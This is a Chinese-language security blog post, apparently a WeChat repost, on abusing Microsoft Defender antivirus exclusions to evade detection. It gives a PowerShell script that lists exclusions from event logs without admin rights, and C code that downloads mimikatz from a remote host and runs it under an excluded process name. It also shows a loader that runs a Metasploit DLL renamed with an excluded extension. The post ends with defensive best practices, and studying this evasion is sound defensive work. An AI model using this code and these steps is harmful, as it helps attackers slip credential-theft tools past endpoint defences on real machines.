亲爱的读者们,很久以来,我们一直在关注这个问题。在这篇博文中,我们将了解如何滥用防病毒和 EDR 中很少被提及的常见功能。我使用的是 Defender AV,因为它在所有 Windows 操作系统中都很常见且默认使用,但这篇博文可能与 AV 和 EDR 无关,因为排除是所有 AV/EDR 中都存在的一项功能,并且大多数情况下工作方式都类似。这种技术之所以特别危险,是因为它的微妙性。与可能触发警报或留下明显痕迹的更激进的 AV/EDR 规避方法不同,滥用排除可以让恶意活动躲过雷达的监视。这是一种不常被讨论或防御的方法,使其成为攻击者武器库中的有力工具。
了解 AV/EDR 排除
防病毒 (AV) 和端点检测与响应 (EDR) 解决方案是现代网络安全防御的重要组成部分。它们旨在保护系统免受恶意活动的侵害。然而,它们并不完美,有时会干扰合法操作,导致误报或性能影响。只有供应商知道这一点,它们提供了一项额外的排除功能,可用于排除某些资产,无论是路径、进程、文件还是扩展名。
虽然排除对于优化性能和减少误报是必要的,特别是在复杂的企业环境中,但如果管理不善,它们也会造成安全盲点。
Defender AV 中的排除类型
让我们以 Microsoft Defender AV 中可用的排除类型为例。虽然我们专注于 Defender,但值得注意的是,大多数 AV/EDR 解决方案都提供类似的排除功能。
现实世界中滥用排除条款的情况
我想了解一下现实世界中滥用排除功能的情况有多普遍。因此,我开始搜索,但除了少数恶意软件利用排除功能在排除的文件夹中设置和编写更多恶意工具外,没有找到太多信息。但我找不到任何博客文章或威胁报告,其中我可以看到威胁行为者寻找已排除的资产并以某种方式滥用它(如果您知道任何信息,请发给我)。
https://www.elastic.co/security-labs/qbot-malware-analysis
枚举 Defender AV 排除项
枚举是任何类型的渗透测试的第一步。在我们深入研究如何滥用每种排除项之前,攻击者首先需要弄清楚端点上设置了哪些排除项。Microsoft Defender AV 包含允许查看和管理其配置设置的 PowerShell cmdlet。其中一个这样的 cmdlet 是 Get-MpPreference,它提供有关当前设置(包括排除项)的详细信息。
Get-MpPreference | Select-Object -Property ExclusionPath, ExclusionProcess, ExclusionExtension
但是,有一个问题:只有具有管理权限的用户才能执行此命令。此限制旨在保护配置设置免受未经授权的访问。
即使没有管理权限,在系统上站稳脚跟的攻击者也可以通过各种方式推断出潜在的排除项。一种常见的技术是枚举系统上正在运行的进程和现有目录,以了解正在使用哪些应用程序。通过识别知名的企业应用程序,攻击者可以利用可公开访问的文档和供应商建议来预测目标系统上可能的排除项。许多供应商提供了有关推荐排除项的指南,以确保兼容性和性能,攻击者可以使用此信息来识别潜在的安全漏洞。例如,Microsoft 已记录了 Exchange Server、System Center Configuration Manager (SCCM)、System Center Operations Manager (SCOM) 和 Hyper-V 等产品的推荐排除项。通过研究这些建议,攻击者可以推断出可能配置了哪些排除项,从而使他们能够更有效地制定攻击策略。
来源:https: //learn.microsoft.com/en-us/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus
攻击者可能使用的另一种方法是分析可能包含排除列表的配置文件或系统文档。管理员有时会将这些文件留在系统上以供参考,它们可以提供对当前安全状况的宝贵见解。通过将这些来自不同来源的信息拼凑在一起,攻击者可以有效地绘制出排除情况并据此制定攻击策略。
利用 Defender AV 操作日志列举排除项
枚举 Defender AV 排除项的另一种有趣技术是检查 Windows Defender AV 操作日志,这些日志可供标准用户读取。默认情况下,Defender AV 会记录配置更改,包括对排除项的修改。
https://x.com/I_Am_Jakoby 演示了一种利用这些日志的值得注意的方法。
他提供了一个基本脚本来解析这些日志并识别排除条目。在他的工作的基础上,我使用 ChatGPT(我没有信用,我是一个糟糕的程序员呵呵)开发了一个 PowerShell 脚本,可以提供更好的输出。
function Get-DefenderExclusions {
param (
[string]$logName = "Microsoft-Windows-Windows Defender/Operational",
[int]$eventID = 5007,
[switch]$Path,
[switch]$Process,
[switch]$Extension
)
if (-not ($Path -or $Process -or $Extension)) {
Write-Host "Please specify at least one type of exclusion to filter: -Path, -Process, -Extension."
return
}
# Get all event logs with the specified Event ID
$events = Get-WinEvent -LogName $logName -FilterXPath "*[System[(EventID=$eventID)]]" -ErrorAction SilentlyContinue
if (-not $events) {
Write-Host "No events found with Event ID $eventID in the $logName log."
return
}
# Define the regex patterns for exclusion paths, extensions, and processes
$patterns = @{
Path = "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\([^`"]+)"
Extension = "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\([^`"]+)"
Process = "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\([^`"]+)"
}
# Function to parse and return unique exclusions
function Get-UniqueExclusions {
param (
[string]$pattern,
[string]$exclusionType
)
$uniqueExclusions = @{}
foreach ($event in $events) {
$message = $event.Message
if ($message -match $pattern) {
$exclusionDetail = $matches[1] -replace ' = 0x0.*$', '' -replace 'New value:', '' -replace '^s+|s+$', ''
if (-not $uniqueExclusions.ContainsKey($exclusionDetail) -or $event.TimeCreated -gt $uniqueExclusions[$exclusionDetail]) {
$uniqueExclusions[$exclusionDetail] = $event.TimeCreated
}
}
}
return $uniqueExclusions.GetEnumerator() | Sort-Object Value -Descending | ForEach-Object {
[PSCustomObject]@{
ExclusionDetail = $_.Key
TimeCreated = $_.Value
}
}
}
# Extract and display exclusions based on the provided arguments
if ($Path) {
Write-Host "Path Exclusions:"
Get-UniqueExclusions -pattern $patterns.Path -exclusionType 'Path' | Format-Table -Property ExclusionDetail, TimeCreated -AutoSize -Wrap
}
if ($Process) {
Write-Host "Process Exclusions:"
Get-UniqueExclusions -pattern $patterns.Process -exclusionType 'Process' | Format-Table -Property ExclusionDetail, TimeCreated -AutoSize -Wrap
}
if ($Extension) {
Write-Host "Extension Exclusions:"
Get-UniqueExclusions -pattern $patterns.Extension -exclusionType 'Extension' | Format-Table -Property ExclusionDetail, TimeCreated -AutoSize -Wrap
}
}
# Example usage:
# Get-DefenderExclusions -Path -Process -Extension
# Get-DefenderExclusions -Process
从上图可以明显看出,当我们尝试通过枚举排除项时,Get-MpPreference由于我们不是管理员,因此出现错误,但是当使用上述 PowerShell 脚本通过解析事件日志找出相同内容时,我们可以得到类似的结果。
滥用 Defender AV 排除
一旦攻击者确定了排除项,就可以根据排除项的类型以各种方式滥用它们:
滥用基于文件夹的排除
基于文件夹的排除可能是最容易被利用的。攻击者只需在排除的文件夹中放置恶意文件或执行恶意代码即可,因为他们知道 AV/EDR 不会扫描或监控该位置的活动。可以使用以下命令设置路径的排除。
Set-MpPreference -ExclusionPath "C:WindowsTemp"
在攻击者枚举了 Defender AV 被排除的路径后,他们可以将恶意文件下载到该文件夹中并从那里执行而不会被发现。
在上图中,mimikatz下载到非排除文件夹后立即被检测并删除,但在下图中,可以看到在排除文件夹中执行相同操作时,Defender AV 变得无声。
滥用基于流程的排除
根据 Microsoft 的说法,“当您将某个进程添加到进程排除列表时,Microsoft Defender Antivirus 将不会扫描该进程打开的文件,无论文件位于何处。但是,除非进程本身也被添加到文件排除列表中,否则它将被扫描。” - https://learn.microsoft.com/en-us/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus
以上这段话已经足够说明问题了。可以使用以下命令设置基于进程的排除。
Set-MpPreference -ExclusionProcess "sqlserver.exe"
在上面的示例中,为“sqlserver.exe”进程设置了基于进程的排除,但没有绝对路径。这意味着如果从端点上的任何地方执行 sqlserver.exe,则不会扫描其执行的任何活动,这也意味着如果存在同名“sqlserver”的恶意进程,则 Defender AV 会忽略其所有恶意活动。
因此,乍一看,滥用它就像下载我们的恶意二进制文件并将其重命名为排除的进程名称,但让我们看看是否有效。
在上面的例子中,尽管我将 mimikatz 下载为“sqlserver.exe”,我们确信它已被排除,但它仍然被 Defender AV 检测并删除。如果我们再次回顾微软的声明“当您将进程添加到进程排除列表时,Microsoft Defender Antivirus 将不会扫描该进程打开的文件,无论文件位于何处。但是,除非进程本身也被添加到文件排除列表中,否则它将被扫描”。
在我们的案例中,负责将 mimikatz 下载为 sqlserver.exe 的进程是 PowerShell.exe,这并不排除。如果我们通过将 PowerShell.exe 重命名为“sqlserver.exe”来运行它,那么 Defender AV 将不会检测到相同的活动。相反,让我们创建一个简单的 C 代码,它将只下载并执行下载的代码(在我们的例子中是 mimikatz)
// gcc downloadExec.c -o downloadExec -lwininet
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
int main() {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
// Initialize WinINet
hInternet = InternetOpenA("Download Example", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
fprintf(stderr, "InternetOpen failedn");
return 1;
}
// Open a connection to the URL
hConnect = InternetOpenUrlA(hInternet, "http://<IP>/mimikatz.exe", NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
fprintf(stderr, "InternetOpenUrl failedn");
InternetCloseHandle(hInternet);
return 1;
}
// Create a buffer to store the downloaded data
char buffer[1024];
// Open a local file for writing
FILE* outputFile = fopen("notamalware.exe", "wb");
if (outputFile == NULL) {
fprintf(stderr, "Failed to open output file for writingn");
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// Read and write data until the end of the file
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
fwrite(buffer, 1, bytesRead, outputFile);
}
// Clean up
fclose(outputFile);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
STARTUPINFO si;
PROCESS_INFORMATION pi;
TCHAR szCmdline[] = TEXT(".\notamalware.exe");
// Zero the structures
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Create a process for the executable in the current directory
if (!CreateProcess(
NULL, // No module name (use command line)
szCmdline, // Command line - executable in the current directory
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi // Pointer to PROCESS_INFORMATION structure
)) {
printf("CreateProcess failed (%d).n", GetLastError());
return -1;
}
// Wait until child process exits.
WaitForSingleObject(pi.hProcess, INFINITE);
// Close process and thread handles.
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
如果我们按原样运行它,那么它仍然会被 Defender AV 检测到,如下所示。
现在,如果我们将其重命名为“sqlserver.exe”后运行它,Defender 将无法捕获它,并且我们的 mimikatz 将会运行。
就我而言,几秒钟后,Defender AV 就能够检测到并删除它。但是,当与基于文件的排除相结合时,它就可以顺利运行。
滥用基于扩展的排除
听起来,在基于扩展的排除中,如果排除了某个特定扩展,那么它将不会被 Defender AV 扫描,就像下面显示的一样,其中有一个排除,.exe并且我们正在运行 mimikatz.exe。
但是,如果排除了不可执行扩展名(如“.txt”或任何随机扩展名(如“.goku”),它还会被滥用吗?答案是“是”。我们所要做的就是让我们的恶意 DLL 二进制文件具有排除的扩展名的扩展名并运行它。Windows 上 DLL 文件的美妙之处在于它们在技术上可以有任何扩展名,但由于它们的内部结构而不是仅仅通过文件扩展名,操作系统仍会将它们识别为 DLL 并执行。当应用程序或系统组件需要加载 DLL 时,它会使用诸如 LoadLibrary
或 之类的 函数LoadLibraryEx
。这些函数读取文件的 PE 头以确定它是否是有效的 DLL,而不管文件扩展名是什么。
我知道 mimikatz 可以编译成 DLL,但我懒得这么做,所以我改用 metasploit DLL 作为示例。如果我尝试按原样下载 DLL,那么它将被 Defender AV 捕获并删除。
现在,当下载并使用排除的扩展执行相同的 metasploit DLL 时,Defender 再次变得静默,如下所示。
现在,如果 rundll32.exe(我们在本例中使用它来执行我们的 DLL 文件)被阻止,或者由于此类 LOLBins 受到严格监控而您不想使用它,该怎么办?您可以让自己的 DLL 加载程序加载并执行您的恶意 DLL,如下所示。
#include <windows.h>
#include <stdio.h>
typedef BOOL (WINAPI *DllMainFunc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
int main() {
HINSTANCE hinstDLL;
DllMainFunc DllMain;
// Load the DLL
hinstDLL = LoadLibrary("msfmal.goku");
if (hinstDLL == NULL) {
printf("Could not load the DLLn");
return 1;
}
// Get the address of DllMain (this is usually not done, for demonstration only)
DllMain = (DllMainFunc)GetProcAddress(hinstDLL, "DllMain");
if (DllMain == NULL) {
printf("Could not locate the function DllMainn");
FreeLibrary(hinstDLL);
return 1;
}
// Call DllMain explicitly (for demonstration only)
BOOL result = DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL);
if (result) {
printf("DllMain executed successfullyn");
} else {
printf("DllMain execution failedn");
}
// Free the DLL module
FreeLibrary(hinstDLL);
return 0;
}
设置排除项的最佳做法
-
仅在绝对必要时且经过彻底测试后才实施排除。
-
优先选择狭义的、具体的排除,而不是广义的排除。例如,排除特定文件,而不是整个文件夹。
-
实施一个流程来定期审查所有排除项并删除不再需要的排除项。
-
对 AV/EDR 扫描排除的区域实施额外的监控和日志记录。
-
将排除与应用程序白名单相结合,以确保只有批准的应用程序才能运行,即使在排除的区域也是如此。
结论
AV/EDR 排除虽然对系统功能必不可少,但却会引入安全评估中经常被忽视的静默绕过机会。通过了解这些风险并实施适当的管理和缓解策略,组织可以在运营效率需求与强大的安全实践之间取得平衡。
正如我们所见,滥用排除可以成为逃避检测的强大而隐蔽的技术。安全专业人员必须意识到这种攻击媒介,并对排除实施适当的控制和监控。
请记住,安全并非要消除所有风险,而是要有效地管理风险。保持警惕,定期检查排除项,并始终假设攻击者正在寻找进入您系统的这些静默路径。
原文始发于微信公众号(Ots安全):滥用排除来逃避检测
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论